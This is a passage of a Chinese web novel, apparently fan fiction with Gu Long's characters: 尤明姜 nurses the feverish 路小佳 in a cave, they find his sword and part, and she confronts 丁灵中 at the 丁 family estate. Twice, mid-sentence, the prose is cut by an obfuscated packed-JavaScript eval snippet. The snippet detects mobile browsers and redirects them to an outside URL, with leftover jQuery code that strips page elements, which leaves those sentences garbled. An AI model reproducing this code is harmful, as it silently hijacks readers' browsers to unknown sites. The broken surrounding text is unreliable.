沙哑的呓语惊醒了芦苇荡的寂静。 尤明姜俯下身,迅速展开急救毯,一点点儿掖进路小佳的衣衫里,将毯子向前拉,兜住他的脑袋,又将急救毯覆盖到胸膛,沿着他的腰侧,掖进他束腰和裤腿儿里,她的指尖微微发颤,但还是仔细整理着褶皱,确保他的整个身体都被紧紧包裹,只露出一张虚弱的脸。 她一边塞急救毯,一边低声安抚:“不冷了,马上就暖和起来了。” 就在这时,雨星子悄没声地落下来,沾湿了路小佳鸦羽似的睫毛。 真是屋漏偏逢连夜雨! 望着那越来越密集的雨星,尤明姜心里清楚,这雨怕是片刻间就会倾盆而下。 把竹编药篓挂在胸前,她利落地蹲下,双手稳稳托住路小佳的肩膀,左手迅速抬起他的右臂,让那无力的手臂顺势穿过自己肩头。 她发力起身,尽管动作一气呵成,可就在成功将路小佳支撑起来的瞬间,左上腹腔猛地一阵抽搐,尤明姜微微皱眉,迅速调整好呼吸,双手托住路小佳的腿弯。 他滚烫的额头抵在肩窝里,烧灼的呼吸里拂过颈侧,恍惚间像是背着团燃烧的炭火,她拢紧背上的人,轻声道:“路小佳,坚持住,马上就找到避雨的山洞了。” . 雨星子扑簌簌落着,打在山路上溅起雾蒙蒙的土腥气。 尤明姜忽然听见背上传来极轻的呢喃。 “娘……”路小佳烧得滚烫,湿漉漉的尾音散在雨雾里,“……你是我娘?” 听着他烧灼的呓语,尤明姜哭笑不得:“我不是你娘。” “……娘……我真的好想你和爹。” “我是尤明姜……” “娘……别不要我……”路小佳断断续续的哽咽。 尤明姜轻叹:“唉……要你要你……路小佳,你可真会占便宜。” 路小佳迷迷糊糊地说:“想吃花生。” 芦苇深处传来蛙鸣,雨水顺着她后颈滑进衣领里。 尤明姜把滑下去的竹编药篓又往上提了提,顺嘴回答: “花生现在可不能碰,你脑袋受伤了,吃花生会影响凝血,先把花生放一放,等身体恢复了,想吃多少都行。” “可我只有花生了。”路小佳似是抽泣了一声,尾音还打着颤,“都不要我……” 尤明姜鼻子泛酸,腾出手来抹了把脸,踩着泥窝子说:“胡说,你还有我啊。” 路小佳嘴里含糊:“前几天……我见到妹妹了,还有她喜欢的人……” 尤明姜脚步一顿,轻声应道:“你妹妹?” “……丁灵琳。” 尤明姜一直以为杀手都是孤儿,没想到路小佳还有健在的爹娘和妹妹。 她诧异道:“那你爹叫什么?” “丁乘风。”路小佳无意识地回应。 尤明姜心中一震。 叶开曾提过丁乘风的名字,没记错的话,这个人是丁云鹤的爹? 她追问道:“丁云鹤是你的……?” “娘,那是大哥啊。”路小佳呢喃着,话语里带着一丝委屈。 “……嗯嗯,娘忘了。” 尤明姜嘴角狠狠一抽,原来那个“无垢道人”丁云鹤是他的大哥,可丁云鹤的嘴脸,无端叫她联想到了《初刻拍案惊奇》里的潘甲。 脑海里冷不丁蹦出个惊悚的想法。 难道路小佳也…… 她念想一闪,又立刻摇了摇头,天底下哪来这么多的真假姚滴珠啊…… 嗐,这要是路小佳清醒过来,想起这事儿,自己又该怎么解释? 反正……不是她逼着他喊娘的。 . 路小佳醒转时,发现自己被银闪闪的毯子包裹着,伏在个温热的脊背上颠簸。 她后颈散着缕缕紫草香,雨星子扑在路小佳的眼睫上,远处的树影都洇成青灰;发尾的雨水滴进路小佳的衣襟,凉丝丝的,湿得能拧出水来。 路小佳心中一阵酸涩,自己不过是发着烧,怎么能拖累她如此辛苦。 想到这儿,他烧得两颊发烫,却还记挂着要挣下来。 男人家教姑娘背着,总归不成体统。 “放我下来吧。”他挣了挣,手指蜷进她散落的发丝,“我没事,能自己走。” “嫌我背得不稳当?”尤明姜掐了把他的腿弯儿,不疼,却激得他喉头一紧,她轻轻咳了声,“还是说……你更习惯被我抱着?” 话音轻飘飘的,背上的人呼吸却陡然重了三分。 路小佳不防她这般直接,喉头哽了哽,把脸埋进她领口褶痕。 烫意从耳朵蔓延到了整张脸。 . 转过个山弯儿,眼前突然出现了一个黑黝黝的洞口。 确认洞口没有猛兽的足迹,尤明姜点亮了火折子,见火焰亮黄而平稳,这才缓步进入山洞,她举着火折子,绕着山洞转了一圈,发现洞里不仅没有蝙蝠,反倒有前人遗落的锅碗瓢盆,还有摞得足够高的干草。 尤明姜心中一喜,赶忙将路小佳轻轻放在干草堆儿上,自己也瘫坐在地上。 路小佳昏沉得厉害,眼皮越来越沉重,陷入了一片混沌之中。 刚刚吃过布洛芬缓释胶囊,他的身体就像一台超负荷运转后亟待修复的精密仪器,新陈代谢的速率加快,各个器官都在努力工作,试图分解、吸收这些药物。 刚想试一试他额头的温度,左上腹的抽痛泛上了左肩。 “嘶——” 尤明姜脸色一白,冷汗瞬间淌了下来。 【枯荷听雨】不是恢复60%的身体机能吗? 怎么还这么疼啊…… 她不敢随意按压,蜷在干草堆旁休息了会儿,没有持续太久,疼痛又消失了。 “冷……”路小佳喃喃道。 尤明姜擦了把冷汗,爬起身来,用前人剩下的柴禾,点了个火堆儿。 眨眼间,柴禾发出细碎的爆裂声,火焰熊熊燃烧起来。 山洞外,雨越下越大,豆大的雨点砸在洞口,发出噼里啪啦的声响。 担心雨水倒灌进山洞,搬来几块石头,在洞口简单地垒起一道矮堤。 垒好矮堤,尤明姜长舒一口气,坐回到火堆旁歇一歇。 她的目光不自觉地落在路小佳身上。 他眉头紧蹙,被火光照亮的半张脸泛着病态潮红,似乎在睡梦中也不得安宁。 轻轻摸了摸他的额头,烧似乎退了些,她微微松了口气。 突然,山洞深处传来一阵簌簌的声响,她警觉地捡起了一颗石子。 一只野兔从黑暗中窜了出来,在山洞里慌乱地蹦跶。 尤明姜眼中闪过一丝惊喜,在这缺衣少食的境地,这只野兔无疑是雪中送炭。 野兔似乎察觉到危险,蹦跳得愈发急促。 尤明姜屏气敛息,手腕猛地发力,石子如流星般飞射而出,精准地击中野兔。 野兔蹬了蹬腿,便不再动弹。 尤明姜快步上前,捡起野兔回到火堆旁。她手法娴熟地剥皮、清洗,随后找来树枝将其串起,架在火上烘烤。 洞窟深处腾起青灰色烟霭,松枝在火堆里爆开细小的火星。 尤明姜转动着树枝,看着油脂滋滋冒出,顺着焦褐表皮滑落。 烤兔的香气混着松脂苦味在洞中浮沉。 . 原本昏昏沉沉的路小佳,在这香气的萦绕下,缓缓动了动。 他眼皮缓缓睁开,视线还有些模糊,却一眼就看到了在火堆旁忙碌的尤明姜。 “这是……什么味儿?”路小佳的声音沙哑,带着刚苏醒的虚弱。 尤明姜转过头,看到路小佳醒了,脸上露出欣喜的笑容:“你醒啦!” “是野兔肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982798|159209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,刚刚在山洞里抓到的,想着给你补补身子。” 路小佳挣扎着想要坐起来,尤明姜连忙放下手中的野兔,过去搀扶他。 “小心点儿,你身体还很虚弱。”尤明姜轻声说道。 路小佳靠在干草堆上,看着尤明姜将烤好的兔腿递到自己面前。 他眼神中闪过一丝迟疑,想到尤明姜费了这么大劲才抓到野兔,满心期待自己能吃点补补身子,实在不忍心拒绝,硬着头皮咬了一小口。 鲜嫩的肉在口中散开,胃里一阵翻江倒海,阵阵恶心感不断袭来。 喉咙本能地抗拒着吞咽,腮帮子也因用力而微微鼓起,路小佳的脸色渐渐变得有些苍白,额头上甚至沁出了细密的汗珠。 见他脸色突变,绷直着脖颈往下咽,尤明姜想起今夏在景阳冈的破庙里分腊肉,他也是一脸吃砒霜的绝望表情,心里已经明白了七八分。 她没有多问,默默从路小佳手中拿走了兔腿,三两下就撕巴成肉丝,塞嘴里咽下肚。 路小佳揪紧了身下的干草,嗫嚅着想要解释,却又张不开嘴,只能暗暗懊恼。 她怎么一声不吭…… 是不是生气了? 偷眼打量着尤明姜的神色,却见她脸上没什么波澜,既没有责怪,也没有失望。 回想起上次在景阳冈的破庙分腊肉,自己对着那香喷喷的腊肉难以下咽,她没有丝毫的在意,而如今,面对自己吃不下兔肉的状况,她依旧是一脸淡然。 或许在她眼中,这些不过是不值一提的小事。 酸涩的滋味瞬间弥漫开来,满满当当,无处可藏。 这种酸涩源自一种难以名状的失落。 他的嘴角微微下垂,眼中的光彩也黯淡了几分,满心都是被忽视的委屈。 . 尤明姜吃完兔肉,起身朝山洞外走去,用雨水涮洗着前人留下的石锅。 路小佳望着她的背影,心中五味杂陈。 他又羞又恼,羞的是自己在尤明姜一番好意下却辜负了她,连口兔肉都吃不下;恼的是自己身体这般不争气,关键时刻总掉链子。 他挣扎着想要起身帮忙,刚一动弹,脑袋一阵眩晕,只能又躺回干草堆上。 看着尤明姜在洞外忙碌的身影,只觉得自己像个累赘,什么忙都帮不上。 山洞外,尤明姜涮洗石锅的声响传进来,在寂静的山洞里格外清晰。 一滴滚烫的泪珠顺着脸颊滑落,滴在干草上,瞬间没了踪影。 路小佳意识到自己竟哭了,赶忙抬起袖子,胡乱地在脸上擦拭了两把。 . 路小佳强撑着虚弱的身体,刚起身一半,就听见洞口传来尤明姜的脚步声。 他慌乱地又坐回干草堆,用袖子狠狠擦了擦还带着泪痕的脸,努力调整着呼吸,试图让自己看起来正常些。 尤明姜拿着洗净的石锅走进山洞,将石锅放在火堆上。 她从竹编药篓里翻出一块豆腐,在石锅里倒入淡盐水,开始炖豆腐汤。 “我在药篓里放了块豆腐,果然关键时候,就派上了用场。”尤明姜一边说着,一边将豆腐切成小块,轻轻放入石锅。 石锅在炭火中咕嘟作响,白豆腐在汤里沉浮,指尖叩击,震得依附在锅沿儿的葱末簌簌而落。尤明姜搅动着汤水,金黄的栗子肉在乳白汤面上煮得翻滚。 还是路小佳上回剥出来的烤栗子肉。 不一会儿,炖豆腐汤的香气渐渐弥漫开来。尤明姜盛出一碗豆腐,递到路小佳面前,“尝尝,小心烫。” 路小佳接过豆腐汤,手指微微颤抖,腾起的热气模糊了他的眉眼。 他看着碗里冒着热气的豆腐,又抬头看向尤明姜,张了张嘴,想要说些什么,可喉咙像被堵住了一样,发不出声音。 “下次……”他艰难启齿,却只吐出两个字。 尤明姜似是猜到了他的心思,不等他说完,伸出手,顺着他的后背缓缓摩挲,“下次遇到不爱吃的,千万别再硬撑着,直接跟我说,我绝对不会怪你的。” “还有,是我太莽撞,不是你的错。”她忽闪着眸子,温润得像一泓清泉,睫毛一颤,便漾起细粼粼的波光,“一心只想着给你补补身子,脑子一热,就忘了你这会儿吃不下荤腥。” “这已经是第二次了,我一定牢牢记住,绝不会再有下次,你可千万别往心里去。” 听到这话,路小佳的眼泪险些掉落下来。他紧咬牙关,腮帮子绷紧,好不容易把泪意憋了回去。 半晌,他低下头,轻啜一口豆腐汤。 这次,胃里没有抗拒,只有满满的温暖。 终于盛住了这捧不烫手的阳光。 . 32.龙虎寨④ 柴火的哔剥声里,路小佳呼吸渐渐绵长,双手无意识地蜷成个空拳。 尤明姜给他盖上毯子,正巧瞥见他翻折的指甲盖,暗红血渍凝在月牙痕里。 她皱了皱眉,用蘸着碘伏的棉球清理伤处,悄没声地给他敷药包扎好。 又把毯边掖进他的肘弯,温柔道:“睡吧,等你醒来,该结痂的都会结痂。” 后半夜淅淅沥沥,雨水顺着石壁淌下来,在石头上敲出细碎的更漏声。 尤明姜起身,将火堆儿拨旺几分,火光驱走了些许夜雨的寒意。 她守到寅时三刻,见路小佳紧蹙的眉峰松了,才将将打了个小盹儿。 正经睡觉是睡不着的,长夜漫漫,她用药葫芦复制了些许药物,然后裁了几张油纸,分裹起来压在大石头底下。 夜宿在这儿的前人,给她留下了锅碗瓢盆;她也得给后来者,留些什么才是。 想到这儿,她抽出根还没燃尽的松枝,凑到一面比较光滑的石壁前,将烧焦的那头儿抵在石壁上,写下一行字:“①一粒金丹吞入腹,始知我命不由天。” 然后画了个箭头,指向了自己藏药的那块大石头。这句诗原是紫阳真人修炼内丹的心得,却被她用来指代自己留下的治病药物,倒有点儿雅谑的意思。 尤明姜写完这行字,退后几步,看着那行端端正正的字迹,心中五味杂陈。 这山洞不知见证过多少人的过往,自己与路小佳不过是其中匆匆过客。 可她偏要留下些痕迹! 不为别的,就为在这乱世里,给那些可能身处绝境的人,递上一丝生的希望。 她想起一路行来,见过太多伤病无药医治的百姓,眼神里闪过一丝悲悯。 寥寥几包药物,不能包治百病,扭转乾坤,却或许能在关键时刻,救人性命。 尤明姜抬眼望向沉睡的路小佳,又看向洞外的雨夜,暗暗思忖: 这江湖路远,往后还不知要历经多少艰难险阻。 但只要每到一处,都能留下些“火种”,那这一路的奔波就不算白费。 . . 天色渐明,雨过天晴。 洞顶石缝儿漏下的水珠,悄然坠在路小佳的眉骨上。 路小佳眼皮微颤,一睁眼,就瞧见尤明姜蹲在洞口的小水洼旁洗脸。 晨风撩动着她半湿的鬓发,她微微俯身,双手没入水中,捧起一汪清水。 水流从指缝间潺潺滑落,在晨光中碎成点点金箔,溅起微小的涟漪。 偏有一滴水珠悬在她下巴尖儿打转,莹莹生光,跟珍珠妆面似的。 路小佳一时看呆了。 他搭在毯上的指尖蓦地收紧,痴痴地看着晨光下的画面。 正望着她的侧脸,她似有所感,忽然偏过头,亮晶晶的水珠正巧滚落下来。 路小佳喉结滚动两下。 想当初,薛果的女人为了勾引他,曾在他面前宽衣解带,袒露胴体,明明活色生香,他当时却只觉得反胃,恨不得一剑戳死她。 可这会儿,寻常清晨的寻常一幕,却让他怦然心动。 见他已经醒了,尤明姜抬手拭去下颌水痕,笑道:“醒得正好,该换药了。” 说完,她快步走回山洞,从竹编药篓里翻找出新的纱布,还有急救箱内的药物。 “来,再给你包扎一下伤口,换了药好得更快些。” 她搀扶着路小佳起身,让他坐在石头上,解开路小佳额头上脏污的绷带。 天光又移了半寸。 路小佳盯着自己映在水洼中的倒影。 洁白的绷带缠得齐整,凌乱的发丝被仔细打理顺了,耳后还打了个蝴蝶结,右臂打着悬吊绷带,受伤的左手被裹成粽子,指尖儿透出血晕。 最刺眼的是脸颊上的擦伤,像摔碎的白瓷裂痕,却衬得那双丹凤眼更亮。 尤明姜忽然倾身,将掌心覆上他的额头,温热隔着新缠的纱布渗进来。 路小佳身体陡然一僵,连呼吸都不自觉屏住,耳根迅速泛起一抹红晕。 “烧退了。”她长舒一口气,将他的头发用自己的红头繻绑了起来。 路小佳似被烫到一般,别过头,声音不自觉有些发紧,强装镇定道: “走吧……找找我的剑。” . . 两个人并肩而行,行至山腰时,尤明姜突然驻足,指着前方雀跃道:“快看!” 乱石嶙峋的坡地上,一树青皮泛红的石榴结得热闹。 是野生硬籽酸石榴。 说话间,尤明姜已经灵巧地攀上枝头,抻长胳膊去够最高处的石榴。 路小佳望着她睫毛上沾着的石榴花蕊:“怎么不用轻功?” “你见过哪个村姑飞檐走壁摘果子的?” 她兜着两颗大石榴走过来,递给他一颗最红的石榴,“喏。” 路小佳接过来,皱着眉掰开石榴,拈了一粒塞进嘴里,本来以为很酸,没想到是甜的。他有些意外地看了眼石榴。 尤明姜道:“好吃吗?” 路小佳道:“嗯,你怎么把甜石榴挑出来的?” 尤明姜得意道:“②背阴石榴朝南梨,桃南杏北梨正枝。这可是农家的智慧!” 路小佳道:“没想到你还知道这些。” 尤明姜斜眸,轻瞥他一眼,语气里带着几分嗔怪:“我像是那种不事生产、整日只知好吃懒做的人?” 路小佳嘴角微微上扬,绽出一抹浅笑。 他一只胳膊吊着,剥石榴的动作显得格外笨拙,果皮剥得七零八落,满是斑驳杂乱的深红痕迹,甚至上嘴费劲地啃了起来,误吞不少石榴籽儿。 尤明姜温声道:“还是我来吧。” 路小佳已然退了烧,苍白的脸上也有了些许血色,气力也恢复了些许。 不过是剥一颗石榴,他堂堂七尺男儿,本不至于连这点小事都做不好,更何况是在尤明姜面前。 路小佳微微侧过身,嘴角扯出一抹故作轻松的笑,婉拒道:“石榴籽儿挺苦的,说不定吃了能败火,多败败我这一身的火气,就不劳你动手了。” 他一边说着,一边伸手去拿石榴。 尤明姜挡住他的手,“石榴籽儿属热,吃多了会便秘。” 说完,她翻转果实,露出朝阳面淡淡的金纹,“你看这道糖线,定是蜜芯的。” 她捧着新摘的裂口石榴,忽听得“嗤”的轻响,石榴皮迸裂了胭脂汁。然后,她揭开花蒂,并指沿着白色纹路轻轻切开,倒扣过来敲打一下。 “你的手巧。”路小佳怔怔地望着她。 再抬眼时,尤明姜拉过他的手,将剥好的石榴粒倒进他掌心。 “尝尝,我不会看走眼的。”她拈起一个石榴粒,作势放进他的嘴里。 路小佳偏过头,红着脸不肯吃。 看到他脸红,尤明姜先是一怔,随即反应过来,嘴角微微上扬。 “你什么时候脸皮这么薄了?” “我一向脸皮薄。” “脸皮薄?那我怎么记得,我初遇你的时候,你……” 话还没说完,就被他捂住了嘴,他瞪着眼睛:“不许提了。” 尤明姜被他捂住嘴,眼睛睁得圆圆的,满是促狭的笑意。 这才惊觉自己的举动太过亲密,触电般松开手,赶忙垂下眼。 耳根红得愈发厉害,路小佳轻咳一声,“那都是过去的事了,别再提。” 看他脸红得厉害,尤明姜笑了笑:“你该谢谢我。” 路小佳无奈道:“谢你什么?” “只看了一眼我剥的石榴,你这气色就好了,不是说明我剥的石榴好吗?” 路小佳轻轻叹了口气,“真是拿你没办法。” 尤明姜眼睛一亮,“既然拿我没办法,那不如以后都依着我。” 说完,她又拈起一粒石榴,递到路小佳嘴边,“再吃一颗,这次可不许躲了。” 路小佳看着她亮晶晶的眼眸,终是妥协,微微张嘴,接过了那粒石榴。 嘴角不自觉带上一抹笑意。 . . 吃完了两颗石榴,两个人到了芦苇荡。 秋风贴着苇杆子打旋儿,芦苇尖儿顶着白霜。尤明姜抬手掸了掸,碎银子似的霜粒扑簌簌往下掉。 两人沿着昨晚坠落的大致路线,一前一后,在芦苇丛中慢慢踱步。眼睛不放过任何一个角落,双手仔细地拨开层层芦苇。 突然,尤明姜的目光被一处芦苇根部吸引,那儿像是被重物压过…… 心猛地一紧,她蹲下身子,双手快速地扒开芦苇:“路小佳,快来,找到了!” 路小佳几步跨到她身边,蹲下身子,和她一起动手,扒开厚厚的芦苇和淤泥。 剑身出水,映出路小佳震颤的瞳孔。 正是他的无鞘剑! 尤明姜替他感到高兴,她温柔道:“这下好了,你的底气和骄傲都……” 话还没说完,忽被扯进个凉丝丝的怀抱。 路小佳左手环过来,下巴虚抵在她肩窝,脊背微微弓着,连呼吸都放得轻了。 尤明姜微微一愣,垂在身侧的手悬了悬,指尖触到他腰侧松垮的束带。 半晌,双手终是轻轻落在他的后心。 晨风忽转了个向,把路小佳鬓角的乱发吹到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986731|159209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她唇边。 不知过了多久,她轻咳一声,嗓音在心跳声里格外清晰: “无鞘剑既然找到了,咱们是不是……也该离开崖底了?” . . 就在这时,忽听牛车发出的吱呀声响,在山谷中回响。 车上茼蒿堆成翡翠塔,黄牛角上系着褪色红绸。 车把式扬着一根小红绸鞭子,赶着牛车经过。 尤明姜拽着路小佳衣袖,笑着招呼道:“老伯,载我们一程可好?” 车把式眯眼打量这对年轻人,了然地拍拍车板:“小夫妻进城探亲?” 尤明姜微微一愣,刚想开口纠正“小夫妻”的说法,却被路小佳轻轻碰了下胳膊。 她抬眸,只见路小佳冲她使了个眼色,虽然不明所以,但还是把话咽了回去。 路小佳已跃上车辕,伸手将她拉上堆满茼蒿的板车。 新鲜菜叶的清香里,车把式的烟杆子往车板敲三下:“坐稳喽,小两口。” 牛车碾过碎石路的颠簸中,尤明姜悄悄按住隐隐作痛的左肩。 车把式挥舞鞭子,鞭梢在空中绕来绕去,“噼啪”一声抽鞭,牛车慢晃着起驾。 牛车慢悠悠地前行,山间的风裹挟着草木的气息,轻轻拂过。车把式哼起了不知名的小调,那调子在山谷间悠悠飘荡,和着牛车的吱呀声,竟别有一番风味。 路小佳察觉到她的异样,往她身边靠了靠,“你难受,就靠我身上歇会儿吧。” 尤明姜强撑着笑了笑,刚想拒绝,一阵剧痛袭来,让她忍不住闷哼出声。 路小佳轻轻揽过她的肩膀,让她的头靠在自己胸前。 尤明姜本还有些不好意思,可疼痛让她没了力气抗拒,只能任由路小佳安排。 过了一会儿,路小佳感觉尤明姜的呼吸渐渐平稳,似乎是睡着了。 他怕自己的动作吵醒她,便一直保持着僵硬的姿势,动都不敢动一下。 看着尤明姜安静的睡颜,嘴角不自觉地上扬,眼神里满是温柔。 突然,牛车猛地颠了一下,尤明姜被惊醒,下意识地抓住路小佳的手臂。 路小佳轻声安抚:“没事,只是路上的石头,你再睡会儿。” 说着,他轻轻拍了拍尤明姜的背,又把她往自己怀里带了带,“安心睡吧。” . . 不知过了多久,车把式按路小佳的说法,将二人送到了易大经的住处。 易大经是路小佳的姐夫。 见小舅子浑身是伤的回来,易大经赶忙将人搀扶下车,给了车把式一吊钱的赏。 路小佳伸手去扶尤明姜。 她却一动不动,坐在茼蒿堆儿里,摇了摇头:“我就不进去了。” 眼中瞬间闪过一丝慌乱,路小佳上前一步,拉住她的衣袖:“我和你一起走。” 尤明姜轻轻挣开他的手,“你的伤还没好,需要安心养伤。” 他张了张嘴,想要再说些什么,却发现喉咙像被堵住了,什么也说不出来。 他只能紧紧地盯着尤明姜,下意识地跟了几步,又停住了脚步。 明明知道尤明姜心意已决,却还是满心不舍。 路小佳忽觉喉咙发紧,“明姜。” 尤明姜像是被什么轻轻触动,缓缓抬起眼眸,将目光落在他的身上。 那目光缱绻又温柔,一时间,周遭的喧嚣都悄然退去。 “姐姐已经炖好了羊肉汤,我也给你端一碗汤来,好吗?”路小佳挽留她。 尤明姜笑了笑,轻声说道:“改天吧。” “回见。” · 车轱辘声渐渐远了,土路上拖出两道蜿蜒的痕,扬起一阵阵滚滚烟尘。 易大经侧过头,看见路小佳支着腿坐在门槛上。 他新缠的绷带裹着手指头,叫风一吹就簌簌地飘起白边儿。 瞥见他衣衫上沾着石榴籽儿,易大经伸手碰碰小舅子的胳膊肘。 “给你捎个石榴?”话音儿还悬在半空,就见路小佳对着远处烟尘摇头。 路小佳眼仁儿里蒙着层薄雾。 他抿紧了嘴唇,嘴角绷成细细的线,因为吊着右胳膊,连挥手告别都没有来得及。 易大经瞧见他喉结轻轻滚动,睫毛扑簌簌扫下来,在鼻梁投下小片阴翳。 转身想去看看灶上的羊肉汤,忽听得身后簌簌响。 回头望,路小佳仍端坐着,风撩起他鬓角碎发,露出眼角一点水光。 亮得像芦苇荡的霜。 嘴唇翕动间,嘴里无声喃喃着两字:“回见。” . . 33.龙虎寨⑤ 【叮!尊敬的少侠,您在龙虎寨崖底行侠仗义,成功拯救一名遇险的弱质男流,义酬已发放到您的竹编药篓。】 义酬如下: 【苯妥英钠针剂0.1g*5支/盒】 【左乙拉西坦片0.25g*50片/盒】 【以上为本次义酬。特发此礼,以资鼓励,望少侠戒骄戒躁,再接再厉。】 尤明姜捂着左腹,艰难地走下牛车,冷汗早已浸透了衣衫。 不断蔓延的绞痛证实了她的猜测: 【枯荷听雨】修复了60%的致命伤,却留下了脾脏内出血的隐患。 意识到这一点后,尤明姜离开易大经的住处,马上吩咐车把式折返龙虎寨。 “丁灵中……”她攥紧从聚义厅废墟中找到的金如意。 这柄金如意色泽鲜亮,并非年代久远的老物件,它上面的石榴缠枝纹浮雕,常见于婚嫁器物,很可能是婚嫁之物。 站在悬崖边上的黑衣人,声音年轻,操着北方口音,路小佳深陷绝境也要极力维护他,想来必定是他那些傲慢的兄弟们。 据她所知,丁家三少爷刚刚与南宫世家的千金订了亲,这金如意既像是婚嫁之物,那拥有它的人大概率就是丁灵中。 正好翠浓被叶开留在了丁家,她可以借送马师解药的契机去见翠浓,顺便听听丁灵中的声音,再作决断。 尤明姜双手紧紧捂住腹部,指甲几近嵌入皮肉。 必须要尽快行动,趁路小佳还没反应过来,立刻解决了丁灵中! . . 秋风把青瓦上凝结的薄霜刮进人后颈。 丁家大宅浸在夜色里,尤明姜翻过几重飞檐,正撞见丁灵中堵住翠浓。 青年锦衣玉带,勾起一抹轻蔑的笑:“婊子也配登丁家门槛?” 翠浓手中食盒剧烈震颤,她眼睛里蓄着眼泪,指节在提手上勒出深红的凹痕。 她没想到会迎头撞上丁灵中。 丁灵中在家备受宠溺,久而久之,养成了他自私自利、心胸狭隘的性子。他将马空群从龙虎寨裹挟到丁家,满心以为财富已是囊中之物,谁料风云突变,马空群竟如人间蒸发一般,消失得无影无踪。 美梦化为泡影,他正满心烦躁地踱步,冷不丁撞见行色匆匆的翠浓。 这些年,他早就摸透了万马堂的底儿,自然知道翠浓是马空群的私生女。 . 强忍着左腹传来的剧痛,尤明姜凌空踏碎半片瓦,一脚重重踹在丁灵中腰椎。 丁灵中猝不及防,整个人像断了线的风筝般飞了出去,重重地摔在几丈开外。 翠浓缓缓抬起头,脸上满是泪痕,眼中却有着难以置信的惊喜。 她嘴唇微张,想要说些什么,却一时语塞,只能哽咽着喊出:“尤大夫……” 尤明姜稳稳挡在翠浓身前,一脚碾住丁灵中腕骨,金如意尖端抵住他的喉咙: “整天把婊子挂在嘴边,看来你对男人更有兴趣,不如在南风馆当个红相公!” 忽然,一道剑光骤起。 尤明姜神色一凛,旋身避开锋芒,鬓发被剑气削落三寸。 来人虽已不再年轻,可身形依旧挺拔矫健,不难想象他年轻时的风采。 尤其是那双丹凤眼,与路小佳如出一辙。 意识到他是谁,尤明姜轻嗤道:“原来是丁老庄主,您这是要姑息养奸?” 丁乘风眉头紧皱,沉声道:“灵中无礼,我自会责罚,阁下何必下狠手?” 尤明姜强忍着痛楚,将手中的金如意“哐啷”掷在地上:“下狠手?狠得过他重伤路小佳,害得路小佳坠崖么?这柄金如意就是铁证!” . 丁乘风猛地一震。 他难以置信地看向尤明姜,嘴唇微微颤抖,却半晌说不出话来。 “你……你说什么?” 丁乘风的声音沙哑,带着几分颤抖,不敢相信自己的耳朵。 尤明姜重复道:“我说,丁灵中重伤了路小佳,路小佳掉下了悬崖。” 丁灵中脸色煞白,心中暗暗叫苦,没想到事情竟会败露。 一步跨到丁灵中面前,丁乘风揪住他的衣领,“逆子,有没有这回事儿,说!” “我只是一时糊涂,被嫉妒冲昏了头脑,我没想害他性命啊!”丁灵中不停地磕头,“爹,您惩罚我吧,我愿意接受任何惩罚。” 丁乘风恨铁不成钢,狠狠给了他几个耳光,痛心疾首道:“你这个逆子!” 尤明姜冷眼看了会儿,忽然道:“你痛心的是谁?” 丁乘风动作一滞,眼神中闪过一丝挣扎。 他缓缓松开揪住丁灵中的手,脚步踉跄地后退了两步。 “我……”他欲言又止,喉咙像是被堵住,一时间竟不知该如何作答。 他的心在天平两端剧烈摇摆。 一端是自己视如己出的丁灵中,另一端是自己的亲生儿子路小佳。 丁乘风沙哑着开口:“灵中做下这等错事,我定不会轻饶。路小佳……他怎么样了,可还有救?” 尤明姜深吸一口气,突然觉得好没意思,满心的愤懑也只剩下了不值。 替路小佳不值。 没有理会丁乘风,她望着丁灵中,冷冷道:“告诉我,马空群在哪儿!” 丁灵中偷偷瞥了一眼丁乘风,又低下头,声音颤抖:“我不知道……” 尤明姜瞥了眼丁乘风,淡淡道:“到了这般田地,丁庄主还不肯约束他吗?” 丁乘风咬了咬牙,在丁灵中惊恐的目光中,猛地抬手戳中他的膻中、气海、玉枕、神阙等穴。 剧痛从四肢百骸袭来,丁灵中发出痛苦的惨叫,俨然是被废了武功。 “逆子,如实交代!”丁乘风死死盯着瘫坐在地的丁灵中,胸膛剧烈起伏。 丁灵中虚弱道:“爹,我不知道,我真的不知道啊……” 就在这时,翠浓的声音带着颤意:“我知道他在哪儿。” “我本不想理他,可他毕竟是我父亲,我……” 她的声音有些哽咽,“我准备了食盒,想着……好歹让他吃顿热乎饭。” “尤大夫,我带你去找他。” . 翠浓在前面带路。 一路上,夜色深沉,只有急促的脚步声和偶尔传来的风声。 没成想,半路遇到了叶开。 “你怎么了?”叶开伸手要扶,却被尤明姜侧身避开。 腹中仿佛有把钝刀在慢慢剐蹭,尤明姜踉跄半步,强忍着腹中翻涌的剧痛。 她咬破舌尖咽下腥甜,任由冷汗浸透后颈的碎发。 叶开瞥见她额角的冷汗:“你脸色不对。” “管好你自己。”尤明姜将喉间腥甜咽下,指甲掐进掌心。 见她实在反常,叶开招呼了个小乞丐去请傅红雪,自己远远地缀在后面跟着。 剧痛在腹腔内肆虐游走,滚烫且灼痛。 尤明姜紧咬着牙,在心底一遍又一遍地给自己打气:“为了翠浓……” 就在她几乎快要支撑不住的时候,一座破庙隐隐出现在眼前。 踏入破庙,一股刺鼻的陈旧腐朽气息扑面而来。 只见庙内的佛像残缺不全,杂乱的蛛网横七竖八。 “爹?”翠浓的呼唤在空荡荡的庙内悠悠回荡,激起一圈圈微弱的回声。 良久,佛像后传来一道苍老的声音:“翠浓,你来了。” 